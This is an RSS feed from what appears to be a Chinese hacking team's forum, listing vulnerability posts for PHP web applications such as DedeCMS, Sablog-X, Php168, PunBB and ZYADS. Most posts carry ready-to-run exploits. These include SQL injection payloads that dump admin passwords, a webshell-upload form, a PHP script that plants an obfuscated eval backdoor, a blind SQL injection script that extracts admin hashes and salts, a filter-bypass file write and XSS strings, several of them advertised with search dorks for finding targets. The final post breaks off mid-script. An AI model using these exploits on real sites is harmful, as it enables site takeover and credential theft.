<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0">
	<channel>
		<title><![CDATA[Wolves Security Team]]></title>
		<link>http://bbs.wolvez.org/</link>
		<description><![CDATA[The most recent topics at Wolves Security Team.]]></description>
		<lastBuildDate>Sat, 06 Mar 2010 06:10:18 +0000</lastBuildDate>
		<generator>PunBB</generator>
		<item>
			<title><![CDATA[dedecms5.1注入]]></title>
			<link>http://bbs.wolvez.org/topic/128/new/posts/</link>
			<description><![CDATA[<p>member_guestbook_action.php</p><div class="quotebox"><blockquote><p>$title = cn_substr(html2text($title),60);<br />$msg = cn_substr(stripslashes($msg),2048);<br />if($cfg_ml-&gt;M_UserName!=&quot;&quot; &amp;&amp; $cfg_ml-&gt;M_ID!=$uidnum) $gid = $cfg_ml-&gt;M_UserName;<br />else&nbsp; $gid = &#039;&#039;;</p><p>$inquery = &quot;<br />&nbsp; &nbsp;INSERT INTO #@__member_guestbook(mid,gid,title,msg,uname,email,qq,tel,ip,dtime)<br />&nbsp; &nbsp;VALUES (&#039;$uidnum&#039;,&#039;$gid&#039;,&#039;$title&#039;,&#039;$msg&#039;,&#039;$uname&#039;,&#039;$email&#039;,&#039;$qq&#039;,&#039;$tel&#039;,&#039;&quot;.GetIP().&quot;&#039;,&quot;.mytime().&quot;);<br />&quot;;</p></blockquote></div><p>一般的注射..<br />cn_substr在别处有别的错.这里无所谓了.</p><p>空间留言:<br /><strong>cccccc&#039;,(select concat(userid,0x3a,pwd) from #@__admin limit 0,1),&#039;&#039;,&#039;&#039;,&#039;&#039;,&#039;123&#039;,123)#</strong></p>]]></description>
			<author><![CDATA[dummy@example.com (jackal)]]></author>
			<pubDate>Sat, 06 Mar 2010 06:10:18 +0000</pubDate>
			<guid>http://bbs.wolvez.org/topic/128/new/posts/</guid>
		</item>
		<item>
			<title><![CDATA[DEDECMS v5.5 GBK Final 的一个鸡肋漏洞]]></title>
			<link>http://bbs.wolvez.org/topic/125/new/posts/</link>
			<description><![CDATA[<p>在session.auto_start开启的情况下可以任意覆盖$_SESSION变量，我们可以伪造管理员登录并上传文件</p><p>/DedeCmsV55-GBK-Final/uploads/include/dialog/select_soft_post.php</p><p>上传时重命名为&nbsp; &nbsp; *.php.<br />即可绕过检查上传shell</p><p>exp:<br />&nbsp; &lt;form action=&quot;&quot; method=&#039;POST&#039; enctype=&quot;multipart/form-data&quot;&gt;<br />&nbsp; U&amp;nbsp;R&amp;nbsp;L:&lt;input type=&quot;text&quot; name=&quot;target&quot; size=&quot;50&quot; value=&quot;http://192.168.1.110&quot;&gt;&amp;nbsp;&amp;nbsp;<br />&nbsp; Path:&lt;input type=&quot;text&quot; name=&quot;path&quot; value=&quot;/DedeCmsV55-GBK-Final/uploads/include/dialog/select_soft_post.php&quot; size=&quot;90&quot;&gt;&lt;br&gt;<br />File:&amp;nbsp;&lt;input type=&#039;file&#039; name=&#039;uploadfile&#039; size=&#039;25&#039; /&gt;(Filetype must be GIF/JPEG etc)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;<br />&nbsp; &nbsp; &nbsp; RenameTo:&lt;input type=&#039;test&#039; name=&#039;newname&#039; value=&quot;shell.asp.&quot;/&gt;&lt;br&gt;<br />&nbsp; &nbsp; &nbsp; &amp;nbsp;<br />&nbsp; &nbsp; &lt;input type=hidden name=&quot;_SESSION[dede_admin_id]&quot; value=1&gt;<br />&nbsp; &nbsp; &nbsp; &nbsp; &lt;input type=hidden name=&quot;bkurl&quot; value=1&gt;<br />&nbsp; &nbsp; &nbsp; &lt;input type=&#039;button&#039; value=&#039;submit&#039; onclick=&quot;fsubmit()&quot;/&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;<br />&nbsp; &nbsp; dedecms 0day exp..&lt;br&gt;<br />&nbsp; &nbsp; need: session.auto_start = 1&lt;br&gt;<br />&nbsp; &nbsp; By toby57&nbsp; &nbsp; 2010/2/22<br />&nbsp; &lt;/form&gt;<br />&lt;script&gt;<br />function fsubmit(){<br />&nbsp; &nbsp; var form = document.forms[0];<br />&nbsp; &nbsp; form.action = form.target.value + form.path.value;<br />&nbsp; &nbsp; tmpstr = form.target.value +&#039;/&#039;+ form.newname.value;<br />&nbsp; &nbsp; form.bkurl.value = tmpstr.substr(0,tmpstr.length-1);<br />&nbsp; &nbsp; form.submit();<br />&nbsp; &nbsp; }<br />&lt;/script&gt;</p>]]></description>
			<author><![CDATA[dummy@example.com (uberhi)]]></author>
			<pubDate>Sun, 28 Feb 2010 06:35:11 +0000</pubDate>
			<guid>http://bbs.wolvez.org/topic/125/new/posts/</guid>
		</item>
		<item>
			<title><![CDATA[Sablog-X 2.0 后台管理权限欺骗漏洞]]></title>
			<link>http://bbs.wolvez.org/topic/124/new/posts/</link>
			<description><![CDATA[<p>by Ryat<br /><a href="http://www.wolvez.org">http://www.wolvez.org</a><br />2010-02-24</p><p>好久没更新了;p<br />前不久80vul.com公布了sax2.0的一个漏洞,随后4ngel发布了补丁,不过权限验证部分的代码还是存在问题,下面就来简单说说这个漏洞:D</p><div class="codebox"><pre><code>// cp.php

if (!$sax_uid || !$sax_pw || !$sax_logincount || !$sax_hash) {
// 只要这个条件不满足,就可以通过后台的权限验证了
    loginpage();
}
...
if ($sax_group == 1) {
// 如果要获得管理员权限,还必须保证$sax_group的值为1
...</code></pre></div><p>下面来看下这几个变量是怎么来的</p><div class="codebox"><pre><code>// common.inc.php

list($sax_uid, $sax_pw, $sax_logincount) = $_COOKIE[&#039;sax_auth&#039;] ? explode(&quot;\t&quot;, authcode($_COOKIE[&#039;sax_auth&#039;], &#039;DECODE&#039;)) : array(&#039;&#039;, &#039;&#039;, &#039;&#039;);
// authcode()就是简单的调用base64_decode
$sax_hash = sax_addslashes($_COOKIE[&#039;sax_hash&#039;]);
// 这些变量来自$_COOKIE,是可以控制的:)
// 不过后面的代码在一定条件下会通过extract($_EVO)来重新注册这些变量

$sax_uid = intval($sax_uid);
$sax_pw = sax_addslashes($sax_pw);
$sax_logincount = intval($sax_logincount);
$sax_group = 4;
// 默认的值为4,而我们需要的值是1
$_EVO = array();
// 这里是fix那个变量覆盖的漏洞:)

$seccode = $sessionexists = 0;
$userfields = &#039;u.userid AS sax_uid, u.username AS sax_user, u.password AS sax_pw, u.groupid AS sax_group, u.logincount AS sax_logincount, u.email as sax_email, u.url as sax_url, u.lastpost, u.lastip, u.lastvisit, u.lastactivity&#039;;
// 这里定义的字段包括sax_user、sax_pw、sax_group、sax_logincount,这些都是后台权限验证时要用到的
if ($sax_hash) {
    if ($sax_uid &amp;&amp; $sax_pw) {
// 流程[1]
// 这里会查询sax_group,但如果我们想让查询出的值为1[也就是说查询出管理员的信息],就必须知道管理员的sax_hash、sax_pw、sax_logincount等多个值
        $query = $DB-&gt;query(&quot;SELECT s.hash, s.seccode, $userfields
            FROM {$db_prefix}users u
            LEFT JOIN {$db_prefix}sessions s ON (s.uid = u.userid)
            WHERE s.hash=&#039;$sax_hash&#039; AND u.userid=&#039;$sax_uid&#039; AND CONCAT_WS(&#039;.&#039;,s.ip1,s.ip2,s.ip3,s.ip4)=&#039;$onlineip&#039;
            AND u.password=&#039;$sax_pw&#039; AND u.logincount=&#039;$sax_logincount&#039; AND s.auth_key=&#039;$sax_auth_key&#039;&quot;);
    } else {
        $query = $DB-&gt;query(&quot;SELECT hash,uid as sessionuid,groupid,seccode,lastactivity FROM {$db_prefix}sessions WHERE hash=&#039;$sax_hash&#039; AND CONCAT_WS(&#039;.&#039;,ip1,ip2,ip3,ip4)=&#039;$onlineip&#039; LIMIT 1&quot;);
// 流程[2]
// 如果我们知道管理员的sax_hash和onlineip,就可以使下面的$_EVO[&#039;sessionuid&#039;]的值为管理员的id
    }
    if ($_EVO = $DB-&gt;fetch_array($query)){
        $sessionexists = 1;
        if($_EVO[&#039;sessionuid&#039;]) {
// 流程[3]
            $query = $DB-&gt;query(&quot;SELECT $userfields FROM {$db_prefix}users u WHERE u.userid=&#039;&quot;.intval($_EVO[&#039;sessionuid&#039;]).&quot;&#039;&quot;);
            $_EVO = array_merge($_EVO, $DB-&gt;fetch_array($query));
// 这里查询的数据会合并到$_EVO,而我们只要能控制$_EVO[&#039;sessionuid&#039;]的值为1[假设我们要查询的管理员id为1],就可以查询出正确的管理员信息,这样就可以保证sax_group的值为1了
            $sax_uid = $_EVO[&#039;userid&#039;];
        }
    } else {
        if($_EVO = $DB-&gt;fetch_one_array(&quot;SELECT hash,groupid,seccode,lastactivity FROM {$db_prefix}sessions WHERE hash=&#039;$sax_hash&#039; AND CONCAT_WS(&#039;.&#039;,ip1,ip2,ip3,ip4)=&#039;$onlineip&#039;&quot;)) {
            dcookies();
            $sessionexists = 1;
        }
    }
}
......
@extract($_EVO);</code></pre></div><p>由上面的代码可以看到,如果我们知道session表中uid为1的数据的sax_hash和onlineip,通过流程[2][3]就可以查询出正确的管理员信息,再通过extract($_EVO)注册变量,就可以通过后台的验证,获得管理员权限了:)<br />那么我们如何知道正确的sax_hash和onlineip呢？</p><div class="codebox"><pre><code>// global.func.php

function updatesession() {
...
        replacesession(1);
...
}
...
function replacesession($insert = 0) {
...
$ips = explode(&#039;.&#039;, $onlineip);
...
        $DB-&gt;query(&quot;INSERT INTO {$db_prefix}sessions (hash, auth_key, ip1, ip2, ip3, ip4, uid, groupid, lastactivity, seccode, is_robot) VALUES (&#039;$sax_hash&#039;, &#039;$sax_auth_key&#039;, &#039;$ips[0]&#039;, &#039;$ips[1]&#039;, &#039;$ips[2]&#039;, &#039;$ips[3]&#039;, &#039;$sax_uid&#039;, &#039;$sax_group&#039;, &#039;$timestamp&#039;, &#039;$seccode&#039;, &#039;&quot;.IS_ROBOT.&quot;&#039;)&quot;);
...</code></pre></div><p>replacesession()函数为我们提供帮助,因为$sax_hash、$sax_uid、$onlineip这些变量是可以控制的,所以我们可以向session表中出入一条uid为1的数据:)</p><p>首先我们使$sax_uid为1,$sax_pw为空,这样就会跳过流程[1]执行流程[2],这时我们的sax_hash和onlineip在session表中并不存在,所以流程[3]不会执行,通过extract($_EVO)注册变量时也不会重新注册$sax_uid、$sax_hash和$onlineip,这样我们就可以通过updatesession()函数向session表中插入一条uid为1同时sax_hash和onlineip也是我们知道的数据了<br />然后我们重新执行上面的过程,因为这时session表里已经有了我们需要的数据了,流程[3]将被执行,user表中uid为1的管理员数据将被查询出并合并到$_EVO,并通过extract()重新注册变量[$sax_group的值将被重新注册为1],这样我们就可以通过后台权限验证,并获得管理员权限了:)</p><p>PoC:<br /></p><div class="codebox"><pre><code>GET /cp.php  HTTP/1.1;
Host: 127.0.0.1
Connection: Close
Cookie: sax_auth=MQkJ;sax_hash=abcdef;</code></pre></div>]]></description>
			<author><![CDATA[dummy@example.com (puret_t)]]></author>
			<pubDate>Wed, 24 Feb 2010 11:05:19 +0000</pubDate>
			<guid>http://bbs.wolvez.org/topic/124/new/posts/</guid>
		</item>
		<item>
			<title><![CDATA[Php168一个即将被补的代码执行?]]></title>
			<link>http://bbs.wolvez.org/topic/31/new/posts/</link>
			<description><![CDATA[<p>据可靠线报,有人已发现此相似漏洞[漏洞虽不一样,但在同一个文件,利用了相同的变量]并发在黑防上了,估计官方很快就会发布补丁了吧,那么我这个exp恐怕也会废掉了:)<br /></p><div class="codebox"><pre><code>#!/usr/bin/php
&lt;?php

print_r(&#039;
+---------------------------------------------------------------------------+
Php168 &lt;= v2008 remote code execution exploit
by puret_t
mail: puretot at gmail dot com
team: http://www.wolvez.org
dork: &quot;Powered by PHP168&quot;
+---------------------------------------------------------------------------+
&#039;);
/**
 * works regardless of php.ini settings
 */
if ($argc &lt; 3) {
    print_r(&#039;
+---------------------------------------------------------------------------+
Usage: php &#039;.$argv[0].&#039; host path
host:      target server (ip/hostname)
path:      path to php168
Example:
php &#039;.$argv[0].&#039; localhost /php168/
+---------------------------------------------------------------------------+
&#039;);
    exit;
}

error_reporting(7);
ini_set(&#039;max_execution_time&#039;, 0);

$host = $argv[1];
$path = $argv[2];

$cmd = &#039;makehtml=1&amp;chdb[htmlname]=${${fputs(fopen(chr(99).chr(97).chr(99).chr(104).chr(101).chr(47).chr(119).chr(111).chr(108).chr(118).chr(101).chr(122).chr(46).chr(112).chr(104).chr(112),chr(119).chr(43)),chr(60).chr(63).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(93).chr(41).chr(63).chr(62).chr(112).chr(117).chr(114).chr(101).chr(116).chr(95).chr(116))}}&#039;;
$shell = &#039;http://&#039;.$host.$path.&#039;cache/wolvez.php&#039;;
/**
 * wolvez.php has this code:
 * &lt;?eval($_POST[c])?&gt;
 */
send($cmd);

if (!file_get_contents($url) &amp;&amp; file_get_contents($shell) == &#039;puret_t&#039;)
    exit(&quot;Expoilt Success!\nView Your shell:\t$shell\n&quot;);
else 
    exit(&quot;Exploit Failed!\n&quot;);
    
function send($cmd)
{
    global $host, $path;
    
    $message = &quot;POST &quot;.$path.&quot;digg.php  HTTP/1.1\r\n&quot;;
    // $message = &quot;POST &quot;.$path.&quot;login.php  HTTP/1.1\r\n&quot;;
    // $message = &quot;POST &quot;.$path.&quot;search.php  HTTP/1.1\r\n&quot;;
    // $message = &quot;POST &quot;.$path.&quot;sendpwd.php  HTTP/1.1\r\n&quot;;
    // $message = &quot;POST &quot;.$path.&quot;showsp.php  HTTP/1.1\r\n&quot;;
    $message .= &quot;Accept: */*\r\n&quot;;
    $message .= &quot;Referer: http://$host$path\r\n&quot;;
    $message .= &quot;Accept-Language: zh-cn\r\n&quot;;
    $message .= &quot;Content-Type: application/x-www-form-urlencoded\r\n&quot;;
    $message .= &quot;User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n&quot;;
    $message .= &quot;Host: $host\r\n&quot;;
    $message .= &quot;Content-Length: &quot;.strlen($cmd).&quot;\r\n&quot;;
    $message .= &quot;Connection: Close\r\n\r\n&quot;;
    $message .= $cmd;
    
    $fp = fsockopen($host, 80);
    fputs($fp, $message);
    
    $resp = &#039;&#039;;

    while ($fp &amp;&amp; !feof($fp))
        $resp .= fread($fp, 1024);
    
    return $resp;
}

?&gt;</code></pre></div>]]></description>
			<author><![CDATA[dummy@example.com (puret_t)]]></author>
			<pubDate>Fri, 01 Jan 2010 15:17:52 +0000</pubDate>
			<guid>http://bbs.wolvez.org/topic/31/new/posts/</guid>
		</item>
		<item>
			<title><![CDATA[今年写的几篇老文]]></title>
			<link>http://bbs.wolvez.org/topic/113/new/posts/</link>
			<description><![CDATA[<p>已经发表在《黑客防线》，转载请署名版权，谢谢</p>]]></description>
			<author><![CDATA[dummy@example.com (flyh4t)]]></author>
			<pubDate>Wed, 23 Dec 2009 01:38:09 +0000</pubDate>
			<guid>http://bbs.wolvez.org/topic/113/new/posts/</guid>
		</item>
		<item>
			<title><![CDATA[绕过'Access Denied']]></title>
			<link>http://bbs.wolvez.org/topic/112/new/posts/</link>
			<description><![CDATA[<p>heige的百度空间老是掉留言,看着玩插一脚. :) </p><p>register_globals = On</p><div class="codebox"><pre><code>&lt;?php
$sqlcontent = &quot;&lt;?PHP exit(&#039;Access Denied&#039;); ?&gt;&quot;.$p.&quot;\n&quot;;
file_put_contents($logfile, $sqlcontent);
?&gt;</code></pre></div><div class="quotebox"><blockquote><p>exp-demo.php?logfile=php://filter/write=convert.base64-decode/resource=abc.php&amp;p=a<span style="color: red">PD9waHAgcGhwaW5mbygpOy8vPz4=</span></p></blockquote></div><p><a href="http://marc.info/?l=full-disclosure&amp;m=126034719521671&amp;w=2">http://marc.info/?l=full-disclosure&amp &#133; 71&amp;w=2</a><br />base64-decode会掉过不能解码的特殊字符,变成PHPexitAccessDenied,Base64编码要求把3个8位字节（3*8=24）转化为4个6位的字节（4*6=24），保证能顺利解码补齐字符随便加个a补齐20位.</p><p><a href="http://docs.php.net/manual/zh/filters.convert.php">http://docs.php.net/manual/zh/filters.convert.php</a></p>]]></description>
			<author><![CDATA[dummy@example.com (jackal)]]></author>
			<pubDate>Mon, 14 Dec 2009 10:09:40 +0000</pubDate>
			<guid>http://bbs.wolvez.org/topic/112/new/posts/</guid>
		</item>
		<item>
			<title><![CDATA[PunBB官方上传附件扩展注射漏洞]]></title>
			<link>http://bbs.wolvez.org/topic/98/new/posts/</link>
			<description><![CDATA[<p>by Ryat<br /><a href="http://www.wolvez.org">http://www.wolvez.org</a><br />2009-10-24</p><p>本来想给论坛加个上传附件的功能，从官方网站下了个pun_attachment，顺便看了下代码，结果发现了这个漏洞:p</p><div class="codebox"><pre><code>if (isset($_GET[&#039;secure_str&#039;]))
{
    if (preg_match(&#039;~(\d+)f(\d+)~&#039;, $_GET[&#039;secure_str&#039;], $match))
    {
    ...
            &#039;WHERE&#039;        =&gt; &#039;a.id = &#039;.$attach_item.&#039; AND (fp.read_forum IS NULL OR fp.read_forum = 1) AND secure_str = \&#039;&#039;.$_GET[&#039;secure_str&#039;].&#039;\&#039;&#039;</code></pre></div><p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />挺明显的，应该是对正则表达式及preg_match函数的误用，导致可以通过$_GET[&#039;secure_str&#039;]来触发sql inj...</p><p>另外，在pun_list_attach.php文件还有个注射，不过需要后台权限，有兴趣的同学自己看，那个要更明显些:)</p><p>最后给个PoC性质的EXP，具体效果和利用方式就别问我了...</p><div class="codebox"><pre><code>#!/usr/bin/php
&lt;?php

print_r(&#039;
+---------------------------------------------------------------------------+
Punbb Extension Attachment &lt;= v1.0.2 Bind SQL injection exploit
by puret_t
mail: puretot at gmail dot com
team: http://www.wolvez.org
dork: &quot;Powered by PunBB&quot;
+---------------------------------------------------------------------------+
&#039;);
/**
 * works regardless of php.ini settings
 */
if ($argc &lt; 3) {
    print_r(&#039;
+---------------------------------------------------------------------------+
Usage: php &#039;.$argv[0].&#039; host path
host:      target server (ip/hostname)
path:      path to punbb
Example:
php &#039;.$argv[0].&#039; localhost /punbb/
+---------------------------------------------------------------------------+
&#039;);
    exit;
}

error_reporting(7);
ini_set(&#039;max_execution_time&#039;, 0);

$host = $argv[1];
$path = $argv[2];

$pre = &#039;pun_&#039;;

$benchmark = 200000000;
$timeout = 10;

echo &quot;Plz Waiting...\nPassword:\n&quot;;
/**
 * get pass
 */
$j = 1;
$pass = &#039;&#039;;

$hash[0] = 0; //null
$hash = array_merge($hash, range(48, 57)); //numbers
$hash = array_merge($hash, range(97, 122)); //a-z letters

while (strlen($pass) &lt; 40) {
    for ($i = 0; $i &lt;= 255; $i ++) {
        if (in_array($i, $hash)) {
            $cmd = &#039;1f1%27%20AND%20(IF((ASCII(SUBSTRING((SELECT%20password%20FROM%20&#039;.$pre.&#039;users%20WHERE%20group_id=1%20LIMIT%201),&#039;.$j.&#039;,1))=&#039;.$i.&#039;),BENCHMARK(&#039;.$benchmark.&#039;,CHAR(0)),1))%23&#039;;
            send();
            usleep(2000000);
            $starttime = time();
            send();
            $endtime = time();
            $difftime = $endtime - $starttime;
            if ($difftime &gt; $timeout) {
                $pass .= chr($i);
                echo chr($i);
                break;
            }
        }
        if ($i == 255)
            exit(&quot;\nExploit Failed!\n&quot;);
    }
    $j ++;
}

echo &quot;\nSalt:\n&quot;;
/**
 * get salt
 */
$j = 1;
$salt = &#039;&#039;;

$hash[0] = 0; //null
$hash = array_merge($hash, range(33, 126));

while (strlen($salt) &lt; 12) {
    for ($i = 0; $i &lt;= 255; $i ++) {
        if (in_array($i, $hash)) {
            $cmd = &#039;1f1%27%20AND%20(IF((ASCII(SUBSTRING((SELECT%20salt%20FROM%20&#039;.$pre.&#039;users%20WHERE%20group_id=1%20LIMIT%201),&#039;.$j.&#039;,1))=&#039;.$i.&#039;),BENCHMARK(&#039;.$benchmark.&#039;,CHAR(0)),1))%23&#039;;
            send();
            usleep(2000000);
            $starttime = time();
            send();
            $endtime = time();
            $difftime = $endtime - $starttime;
            if ($difftime &gt; $timeout) {
                $salt .= chr($i);
                echo chr($i);
                break;
            }
        }
        if ($i == 255)
            exit(&quot;\nExploit Failed!\n&quot;);
    }
    $j ++;
}
        
exit(&quot;\nExpoilt Success!\nPassword Hash:\t$pass\nSalt:\t$salt\n&quot;);

function send()
{
    global $host, $path, $cmd;

    $data = &quot;GET &quot;.$path.&quot;misc.php?item=1&amp;secure_str=&quot;.$cmd.&quot;  HTTP/1.1\r\n&quot;;
    $data .= &quot;Host: $host\r\n&quot;;
    $data .= &quot;Connection: Close\r\n\r\n&quot;;

    $fp = fsockopen($host, 80);
    fputs($fp, $data);

    $resp = &#039;&#039;;

    while ($fp &amp;&amp; !feof($fp))
        $resp .= fread($fp, 1024);

    return $resp;
}

?&gt;</code></pre></div>]]></description>
			<author><![CDATA[dummy@example.com (flyh4t)]]></author>
			<pubDate>Mon, 26 Oct 2009 16:31:45 +0000</pubDate>
			<guid>http://bbs.wolvez.org/topic/98/new/posts/</guid>
		</item>
		<item>
			<title><![CDATA[中易广告联盟系统(ZYADS) sql注入和本地包含漏洞]]></title>
			<link>http://bbs.wolvez.org/topic/49/new/posts/</link>
			<description><![CDATA[<p>中易广告联盟系统(ZYADS) sql注入和本地包含漏洞</p><p>在index/news.php 1-31行<br /></p><div class="codebox"><pre><code>&lt;?
include_once(&quot;top.php&quot;);

      $newsid = intval($_GET[&#039;id&#039;]);
      
      $to_type = addslashes($_GET[&#039;type&#039;]);
      
      if ($to_type==&#039;index&#039;)
      {
          $to_type_s =&quot; and to_type=1&quot;;
      }
      
       if ($to_type==&#039;webuser&#039;)
      {
          $to_type_s =&quot; and to_type!=3&quot;;
      }
      
       if ($to_type==&#039;webadver&#039;)
      {
          $to_type_s =&quot; and to_type!=2&quot;;
      }
      
      $newssql = &#039;select * from zyads_news WHERE `id` =\&#039;&#039; . $newsid . &#039;\&#039; 

&#039;.$to_type_s.&#039;&#039;;
    
      $newsre=$db-&gt;query($newssql);
      $newsrow = $db-&gt;fetch_array($newsre);
      if (empty($newsrow)){

        zyads_message(&#039;zyads_news&#039;);
      }
?&gt;</code></pre></div><p>可以看到$to_type没定义或者不等于index，webuser，webadver的话 那么$to_type_s是没有定义的</p><p>这时候我们就可以提交一个$to_type_s变量来进行sql注入。简单的注入，呵呵。</p><p>在/code/adview_cpa_html.php 1-46行<br /></p><div class="codebox"><pre><code>&lt;?php
/*********************/
/*                   */
/*  Version : 5.1.0  */
/*  Author  : RM     */
/*  Comment : 071223 */
/*                   */
/*********************/

_obfuscate_JQYdYn1jfBI( );
define( &quot;IN_ZYADS&quot;, TRUE );
$name = $_GET[&#039;name&#039;];
$adid = $_GET[&#039;adid&#039;];
$offsetwidth = $_GET[&#039;offsetwidth&#039;];
$site = $_GET[&#039;site&#039;];
$click_url = &quot;http://www.erzhi.cn&quot;;
$count_url = &quot;http://www.erzhi.cn&quot;;
if ( empty( $name ) || empty( $adid ) || empty( $site ) )
{
        exit( &quot;广告出错&quot; );
}
@require( &quot;../user/c/&quot;.$name.&quot;/user_info.php&quot; );
require( &quot;../include/soft_class.php&quot; );
require( &quot;../include/settings.php&quot; );
$code = new _obfuscate_Y2xpZW50( );
$getip = $code-&gt;_obfuscate_Z2V0aXA( );
$getbrowse = $code-&gt;_obfuscate_Z2V0YnJvd3Nl( );
$getos = $code-&gt;_obfuscate_Z2V0b3M( );
$maketime = time( ) + $setting[&#039;zyads_date&#039;] * 3600;
$maketime = $maketime;
$strbas = $code-&gt;_obfuscate_cGFzc3BvcnRfZW5jcnlwdA( 

$getip.&quot;|&quot;.$maketime.&quot;|&quot;.$getbrowse.&quot;|&quot;.$getos, $setting[&#039;url_pwd&#039;] );
$strbas = _obfuscate_IGI7aGd_LDRuMD0VZg( $strbas );
if ( $zyads_users[&#039;flag&#039;] != 2 )
{
        echo &quot;document.write(&#039;帐号被锁定&#039;);&quot;;
        exit( );
}
if ( _obfuscate_Cx96BhhwZxABPA8( &quot;../cache/cpa/&quot;.$adid.&quot;.php&quot; ) )
{
        require( &quot;../cache/cpa/&quot;.$adid.&quot;.php&quot; );
}
else
{
        exit( &quot;文件丢失-&quot;.$adid.&quot;.php&quot; );
}</code></pre></div><p>$name，$adid这两个变量都能造成本地包含漏洞</p><p>不过$adid好利用点。</p><p>exp：/code/adview_cpa_html.php?name=admin&amp;adid=../../index&amp;site=www.xxx.com</p><p>最后附上一个exp，只是简单的cookie提交参数&nbsp; 为了隐蔽点 呵呵</p><div class="codebox"><pre><code>&lt;?php
//by q1ur3n
//team: http://www.wolvez.org
//exp : zyads.php?site=www.tx8688.com&amp;id=and 1=2 union select 1,2,3,4,5,6%23
//敏感信息表信息：
/*
DROP TABLE IF EXISTS zyads_admin;
CREATE TABLE zyads_admin (
   id int(11) NOT NULL auto_increment,
   username varchar(20) NOT NULL,
   pwd varchar(50) NOT NULL,
   login_num int(11) NOT NULL,
   last_time datetime DEFAULT &#039;0000-00-00 00:00:00&#039; NOT NULL,
   islock int(1) NOT NULL,
   ip varchar(20) NOT NULL,
   admin_flag varchar(200) NOT NULL,
   addtime datetime NOT NULL,
   PRIMARY KEY (id)
);

*/

$host = $_GET[&#039;site&#039;];
$cmd=&#039;to_type_s=&#039;.urlencode(stripcslashes($_REQUEST[&quot;id&quot;]));

$message = &quot;GET /index/news.php?id=89  HTTP/1.1\r\n&quot;;
$message .= &quot;Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-

shockwave-flash, */*\r\n&quot;;
$message .= &quot;Referer: http://www.baidu.com/\r\n&quot;;
$message .= &quot;Accept-Language: zh-cn\r\n&quot;;
$message .= &quot;Content-Type: application/x-www-form-urlencoded\r\n&quot;;
$message .= &quot;User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n&quot;;
$message .= &quot;Host: $host\r\n&quot;;
$message .= &quot;Connection: Close\r\n&quot;;
$message .= &quot;Cookie: &quot;.$cmd.&quot;\r\n\r\n&quot;;
//echo $message;
       
$fp = fsockopen($host, 80);
fputs($fp, $message);
$resp = &#039;&#039;;
while ($fp &amp;&amp; !feof($fp))
$resp .= fread($fp, 1024);
echo $resp;
fclose($fp);
       
?&gt;</code></pre></div><br /><p>这程序是商业程序，没得下载。大家别传出去。</p>]]></description>
			<author><![CDATA[dummy@example.com (q1ur3n)]]></author>
			<pubDate>Wed, 21 Oct 2009 04:55:35 +0000</pubDate>
			<guid>http://bbs.wolvez.org/topic/49/new/posts/</guid>
		</item>
		<item>
			<title><![CDATA[Bypass Magic Quote&Xss?]]></title>
			<link>http://bbs.wolvez.org/topic/92/new/posts/</link>
			<description><![CDATA[<p>BY Jackal<br /><a href="http://www.wolvez.org">http://www.wolvez.org</a><br /><a href="http://www.delover.net">http://www.delover.net</a><br />2009-07-25</p><p>在此感谢下黑病毒:)</p><p>看跨站的时候出现的一段代码:</p><p><span style="color: Blue"><em>demo.php</em></span><br /></p><div class="codebox"><pre><code>&lt;?php

$message=$_GET[&#039;c&#039;];
echo &quot;&lt;ul&gt;&lt;li&gt;&quot;.$message.&quot;&lt;/li&gt;&quot;;
if(strpos($message, &#039;[/c]&#039;) !== FALSE) {
    $message1 = preg_replace(&quot;/\[c](.+?)\[\/c\]/is&quot;, &quot;\\1&quot;, $message);
}

echo &quot;&lt;li&gt;&quot;.$message1.&quot;&lt;/li&gt;&quot;;

if(strpos($message, &#039;[/c]&#039;) !== FALSE) {
    $message2 = preg_replace(&quot;/\[c](.+?)\[\/c\]/ies&quot;, &quot;parse_c(&#039;\\1&#039;)&quot;, $message);
}


echo &quot;&lt;li&gt;&quot;.$message2.&quot;&lt;/li&gt;&lt;/ul&gt;&quot;;

function parse_c($text) {
        return $text;
}

?&gt;</code></pre></div><p>提交:<span style="color: Blue">demo.php?c=[c]test&quot;[/c]</span><br />开启Magic的情况下:</p><p>返回数据:</p><div class="quotebox"><blockquote><ol class="decimal"><li><p>[c]test\&quot;[/c]</p></li><li><p>test\&quot;</p></li><li><p>test\\&quot;</p></li></ol></blockquote></div><p>最后一个出现了问题.</p><br /><p>再来就是跨站了:</p><div class="quotebox"><blockquote><p>&lt;a href=\\&quot;http://delover.net onmouseover=alert(/xss/) \\&quot;&gt;Xss&lt;/a&gt;<br />&lt;a href=\&quot;http://delover.net onmouseover=alert(/xss/) \&quot;&gt;Xss&lt;/a&gt;</p></blockquote></div><p>用UBB这玩意很容易出现问题.</p>]]></description>
			<author><![CDATA[dummy@example.com (puret_t)]]></author>
			<pubDate>Sat, 25 Jul 2009 13:36:37 +0000</pubDate>
			<guid>http://bbs.wolvez.org/topic/92/new/posts/</guid>
		</item>
		<item>
			<title><![CDATA[Php168 v6 权限提升漏洞]]></title>
			<link>http://bbs.wolvez.org/topic/89/new/posts/</link>
			<description><![CDATA[<p>by Ryat<br /><a href="http://www.wolvez.org">http://www.wolvez.org</a><br />2009-07-17</p><p>天天上班,好久没在论坛发贴了...</p><p>以前发过一个php168 v2008的权限提升漏洞,这次的漏洞也出在相同的代码段<br />直接给出exp,里面的一些细节还是有些意思的,有兴趣的同学可以自行分析:)</p><p>EXP:<br /></p><div class="codebox"><pre><code>#!/usr/bin/php
&lt;?php

print_r(&#039;
+---------------------------------------------------------------------------+
Php168 v6.0 update user access exploit
by puret_t
mail: puretot at gmail dot com
team: http://www.wolvez.org
dork: &quot;Powered by PHP168 V6.0&quot;
+---------------------------------------------------------------------------+
&#039;);
/**
 * works regardless of php.ini settings
 */
if ($argc &lt; 5) {
    print_r(&#039;
+---------------------------------------------------------------------------+
Usage: php &#039;.$argv[0].&#039; host path user pass
host:      target server (ip/hostname)
path:      path to php168
user:      login username
pass:      login password
Example:
